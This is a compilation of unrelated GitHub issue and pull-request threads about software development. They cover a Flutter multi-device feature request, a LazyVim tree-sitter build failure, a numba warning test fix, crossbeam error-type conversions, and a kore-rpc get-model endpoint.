🚀 Deployed to staging by https://github.com/MonilBhavsar in version: 9.0.7-3 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Cherry-picked to staging by https://github.com/thienlnam in version: 9.0.7-4 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅

@Expensify/applauseleads please QA this PR and check it off on the deploy checklist if it passes.

🚀 Deployed to production by https://github.com/thienlnam in version: 9.0.7-8 🚀

platform
result

🤖 android 🤖
failure ❌

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅


Fix np.MachAr warning matching in test.

Somehow #9347 changed the behavior of the filter.
The invisible characters from termcolor highlight now matters. But comparing the warning message before and after that PR does not reveal any visible difference.
Also added a simplefilter("ignore") to suppress any warning config from PYTHONWARNINGS in the python process.

To test this, make sure the environment has colorama and  NUMBA_DISABLE_ERROR_MESSAGE_HIGHLIGHTING is cleared.
Run: NUMBA_DISABLE_ERROR_MESSAGE_HIGHLIGHTING= SUBPROC_TEST=1 python  runtests.py -k test_np_MachAr_deprecation_np122 -v

BFID: numba_yaml_423

Thanks for fixing this @sklam. I debugged this a bit, AFAICT the actual strings in the message are the same, what I think is changing is what happens internally as part of the matching process, now the Numba warnings inherit from the standard library warnings the way the message strings are normalized internally is different:
https://github.com/python/cpython/blob/e0c6995b4fa9803a886fe1d88d6a9aec166a99e8/Python/_warnings.c#L657-L674

CI passed and enough buildfarm config has passed (e.g just windows ones are taking a long time and we don't want to wait for it)


flutter run with Multiple, but not All Devices

Use case
Since Flutter has started to support desktop and web development, it is a good idea to only run multiple, but not all devices in flutter run.
For example, I only want to run my Flutter app in iOS simulators and Android emulators, but not macos or chrome.

Proposal
In flutter run -d, either separate device IDs using commas (e.g. flutter run -d device1,device2,device3), or allow multiple -d flags (e.g. flutter run -d device1 -d device2 -d device3).

FWIW, #35652 will make the common case work much better. I can certainly imagine longer term though, someone with a project that actually does support all platforms would still likely want this functionality.

any update / info about this?
still waiting for the solution.
thanks.

In 2019 the Flutter run all worked beautifully, you could have multiple iOS simulators open and it would build one at a time. 2020 seems they broken it and never fixed it. It's a huge pain point for us, as half of our apps requires multiple devices open at the same time to debug (very common use case). Something like this would be great, but it will only work if they fix the inline device builds with iOS..

Having this issue too.

I can no longer run on multiple connected ios devices. same as post above. used to work, no longer does. i can only have a single connected iOS device running at any one time. Android is ok. SO frustrating.
[✓] Flutter (Channel stable, 2.10.4, on macOS 12.3.1 21E258 darwin-arm, locale en-AU)
    • Flutter version 2.10.4 at /Users/angusjohnston/flutter-sdk/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision c860cba910 (11 days ago), 2022-03-25 00:23:12 -0500
    • Engine revision 57d3bac3dd
    • Dart version 2.16.2
    • DevTools version 2.9.2

[✓] Android toolchain - develop for Android devices (Android SDK version 31.0.0)
    • Android SDK at /Users/angusjohnston/Library/Android/sdk
    • Platform android-31, build-tools 31.0.0
    • Java binary at: /Applications/Android Studio.app/Contents/jre/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.10+0-b96-7249189)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 13.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2020.3)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.10+0-b96-7249189)

[✓] VS Code (version 1.66.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.38.0

[✓] Connected device (4 available)
    • Pixel 3 XL (mobile) • 8AWY0RX94                 • android-arm64  • Android 12 (API 31)
    • SM G900I (mobile)   • f6569c0e                  • android-arm    • Android 6.0.1 (API 23)
    • iPhone (mobile)     • 00008030-001C710111D8802E • ios            • iOS 15.2.1 19C63
    • Chrome (web)        • chrome                    • web-javascript • Google Chrome 100.0.4896.75

[✓] HTTP Host Availability
    • All required HTTP hosts are available

• No issues found!

Got this to work:
{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Android-1",
            "request": "launch",
            "type": "dart",
            "cwd": "...",
            "program": "lib/main.dart",
            "deviceId": "..."
        },
        {
            "name": "Android-2",
            "request": "launch",
            "type": "dart",
            "cwd": "...",
            "program": "lib/main.dart",
            "deviceId": "..."
        },
    ],
    "compounds": [
        {
            "name": "All Android",
            "configurations": [
                "Android-1",
                "Android-2"
            ],
        }
    ]
}

Though, it may attempt to compile the code twice.


[QUERY] Mechanism for adapting TokenCredential (newer SDKs) to ServiceTokenCredential (older management SDKs)

Library name and version
Azure.Identity 1.6.0, Microsoft.Azure.Management.ServiceFabricManagedClusters 1.0.0
Query/Question
The newer management SDKs utilize the TokenCredential from Azure.Identity and this makes it really easy to handle chained auth scenarios like Visual Studio tokens (during debug), managed identities and a fallback to certificate authentication.
The older management SDK style used a ServiceClientCredential which was generally provisioned via Microsoft.Rest.ClientRuntime.Azure.Authentication via ADAL. Given that there are a still a few of the management SDKs out there (such as Microsoft.Azure.Management.ServiceFabricManagedClusters) that use this older mechanism, I'm writing to see if there's some easy way to migrate a provisioned TokenCredential to a valid ServiceClientCredential so I might continue to use a consistent means of authenticating with Azure without having to support a second authentication approach for these other SDKs.
Thank you!
Environment
No response

//cc: @christothes

Thank you for your feedback.  Tagging and routing to the team members best able to assist.

Hi @WhitWaldo - Could you clarify what you mean by a "provisioned TokenCredential"? Are you looking for guidance for implementing a ServiceTokenCredential using an existing implementation of TokenCredential or something different?

@christothes It's been a little while since I shared this feedback and I know several new releases of the Azure mgmt packages have since been released, so I'm not entirely sure if the ask is still relevant. I'll poke around my code and see if it's still an outstanding inquiry and get back to you in a few days.


bug: tree-sitter-hypr fails to build

Did you check docs and existing issues?

[X] I have read all the LazyVim docs
[X] I have searched the existing issues of LazyVim
[X] I have searched the existing issues of plugins related to this issue

Neovim version (nvim -v)
v0.9.5
Operating system/version
Arch
Describe the bug

When installing before tree-sitter loads (e.g. auto-install on nvim starts), the build fails due to :TSUpdate not being available. This appears to be a lazy.nvim bug since the command trigger isn't effective at this stage.
When installing after tree-sitter loads, it throws the following error:

[nvim-treesitter] [0/1] Downloading tree-sitter-hypr...
[nvim-treesitter] [0/1] Creating temporary directory
[nvim-treesitter] [0/1] Extracting tree-sitter-hypr...
nvim-treesitter[hypr]: Failed to execute the following command:
{
  cmd = "mv",
  opts = {
    args = { "-f", "tree-sitter-hypr-tmp/tree-sitter-hypr-master", "tree-sitter-hypr" },
    cwd = "/home/xxx/.local/share/nvim",
    stdio = {
      [2] = <userdata 1>,
      [3] = <userdata 2>
    }
  }
}
mv: cannot stat 'tree-sitter-hypr-tmp/tree-sitter-hypr-master': No such file or directory

Steps To Reproduce
Just normally install the plugin
Expected Behavior
plugin builds
Repro
-- DO NOT change the paths and don't remove the colorscheme
local root = vim.fn.fnamemodify("./.repro", ":p")

-- set stdpaths to use .repro
for _, name in ipairs({ "config", "data", "state", "cache" }) do
  vim.env[("XDG_%s_HOME"):format(name:upper())] = root .. "/" .. name
end

-- bootstrap lazy
local lazypath = root .. "/plugins/lazy.nvim"
if not vim.loop.fs_stat(lazypath) then
  vim.fn.system({ "git", "clone", "--filter=blob:none", "https://github.com/folke/lazy.nvim.git", lazypath, })
end
vim.opt.runtimepath:prepend(lazypath)

-- install plugins
local plugins = {
  "folke/tokyonight.nvim",
  "folke/LazyVim",
  -- add any other plugins here
  spec = {
    { "LazyVim/LazyVim", import = "lazyvim.plugins" },
    { import = "lazyvim.plugins.extras.util.dot" },
    {
      "luckasRanarison/tree-sitter-hypr",
      enabled = true,
    },
  },
}
require("lazy").setup(plugins, {
  root = root .. "/plugins",
})

vim.cmd.colorscheme("tokyonight")
-- add anything else here

The plugin has been renamed to luckasRanarison/tree-sitter-hyprlang. Maybe that is the issue. Try to make your own spec for the plugin in your personal configuration and don't import the extra from LazyVim.

This was solved by 979bb952a69d7dafac125da69cb27b70d5403f52

solved already indeed. Will make a new release in a bit

Describe the bug
1. When installing before tree-sitter loads (e.g. auto-install on nvim starts), the build fails due to `:TSUpdate` not being available. This appears to be a lazy.nvim bug since the command trigger isn't effective at this stage.

this is still not fixed. tree-sitter needs to be loaded before build


Crash upon opening chat when certain custom symbols are enabled

As of 20w17a, Minecraft has supported the full unicode range. Inputting certain characters (such as any emoji past Emoji 14.0, like 🥹) into the Custom Symbols tab will cause opening the chat to instantly crash the game. These characters do not cause a crash when being typed and sent in chat normally.

https://mclo.gs/CnpIKys


Update vendored go-codec library

Interesting CI failure: Original msgpack data didn't match re-encoded version: , will have to dig in.

This is finally ready for review.
Note that the CircleCI failure is expected, and will go away once client and kbfs are both using the new go-codec.

@akalin-keybase can you point me to a summary of the changes?

Will do, let me dig through the commits...

Did a pass over the changes since the last vendor. Here are the ones that caught my eye:
Bug fixes:

omitempty tag now handles all comparable types (had to fix kbfs for this to preserve old behavior)

Other changes:

Supposed performance improvements, but I didn't test for this.
encode signed integers as signed (had to revert this in a patch -- will see if upstream will take a flag for this)
error messages now include position info (had to change some tests expecting errors to test suffixes)

New features:

recursive omitEmpty (only as a global flag -- will see if upstream will take a tag for this)
Raw type -- enables 'partial' encoding/decoding
Time encoding (via msgpack's timestamp extension) (probably don't want to use this, though)
Partial decoding, e.g. it'll now expose how many bytes were read during decoding

Should we expect any differences in the way we are encoding or decoding things? It seems like "no", but I wanted to verify...

No, there should be no differences now, unless I missed something.
(BTW, I'll merge this and the other vendor PRs only when I come back from vacation on Jul. 16)

Ok great. Then I am :+1: !
Thanks for the information about what’s changed.
On Fri, Jul 6, 2018 at 6:33 PM Fred Akalin<EMAIL_ADDRESS>wrote:

No, there should be no differences now, unless I missed something.
(BTW, I'll merge this and the other vendor PRs only when I come back from
vacation on Jul. 16)
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/keybase/client/pull/11050#issuecomment-403162464, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AA05_yladMeRUofdz4hRZu-12sFTDnGjks5uD-WfgaJpZM4S5moa
.


add into() implementation for std::sync::mpsc::TrySendError

Use Case
I would like for the ch! macro to be able to move to it's own crate and be usable for any current or future non-blocking channel. I think this would allow it to be usable by a futures-channel crate even (maybe with a bit of added syntax for the Context argument). (meh, that isn't really known)
Feature request
Add into() to convert to the stdlib type, or use the stdlib type directly.
Reasoning
As far as I can tell these types are basically identical

std::sync::mpsc::TrySendError

pub enum TrySendError<T> {
    Full(T),
    Disconnected(T),
}

crossbeam_channel::TrySendError
pub enum TrySendError<T> {
    Full(T),
    Disconnected(T),
}

The same is true for TryRecvErorr (from std):
pub enum TryRecvError {
    Empty,
    Disconnected,
}

note: I'm willing to implement this if you would like.

Sounds good!
I'd also suggest adding conversions in the opposite direction, for example:
impl<T> From<mpsc::TrySendError<T>> for TrySendError<T>

It looks like we should implement From, and the stdlib will implement Into
automatically
https://doc.rust-lang.org/beta/std/convert/trait.Into.html
Library authors should not directly implement this trait, but should prefer
implementing the From
https://doc.rust-lang.org/beta/std/convert/trait.From.html trait, which
offers greater flexibility and provides an equivalent Into implementation
for free, thanks to a blanket implementation in the standard library.


feat(transactions): transaction examples

Added the following examples

decode_input
transfer_eth
transfer_erc20
trace_transaction
trace_call - Uses trace_call as debug_traceCall is pending implementation
gas_price_usd

Pulled in the latest upstream changes and made a few slight stylistic changes


Update dependencies

This updates all compatible version to their latest versions.
Please review @terrestris/devs.

Thanks for the review!


Optimization for the view center of 3D scatter plots

Try to use the 'center of mass' solution to optimize the display of the whole scatter plots, especially for those very 'scattered' dataset shown as below.

This would be solved by adding percentile limits, which I plan to add at some point.


Comb sort swift4

Checklist

[x] I've looked at the contribution guidelines.
[x] This pull request is complete and ready for review.

Description

Migrated Playground and Tests to Swift4

:+1:


Add get-model endpoint to kore-rpc

There are now two use cases that would benefit from being able to get a model from a given configuration + constraints directly from the backend. Z3 already supports this functionality via its get-model call.
In particular, when we are:

Trying to measure symbolic coverage of a given property test-suite, and want to give back a  concrete example that is not covered, the easiest way would be to have a get-model endpoint to invoke.
Trying to prove a property test has passed, but it failed, we want to provide a specific input to the user that it fails on, because then they can add that as a unit test directly to their  test-suite. This would enable much faster turn-around for users on the same problem in the future.

To achieve this, I think the path forward is:

Separate out kore-types into its own repository.
Separate out kore-2-smt into its own repository.
Expose a get-model endpoint in the old backend which can use kore-2-smt to encode the current definition and a user-supplied configuration + constraints to SMT, and ask it for a model. It needs to then translate the model back to a substitution which can be passed back as a kore term (as a bunch of equalities in the form { V1 #Equals ... } #And { V2 #Equals ... } #And ..., or gives back "no-model".
Separate out kore-2-types into its own repo, and make translating from kore-2-types => kore-types possible in that repository.
Expose get-model endpoint in new booster backend as well, via the translation path above.

The priority will be to expose get-model endpoint in the old backend, not in the booster backend. The booster backend can just invoke the old backend in the proxy for this endpoint, so that we don't have to worry about encoding new datastructures to SMT.

I think this functionality will be very useful for node refutations subproofs too, because we are interested in satisfiability of a particular path condition + configuration when we consider these. Essentially, to prove a node unreachable we need to prove that it's path condition is unsatisfiable.

get-model endpoint is implemented now, further plans should be on a new issue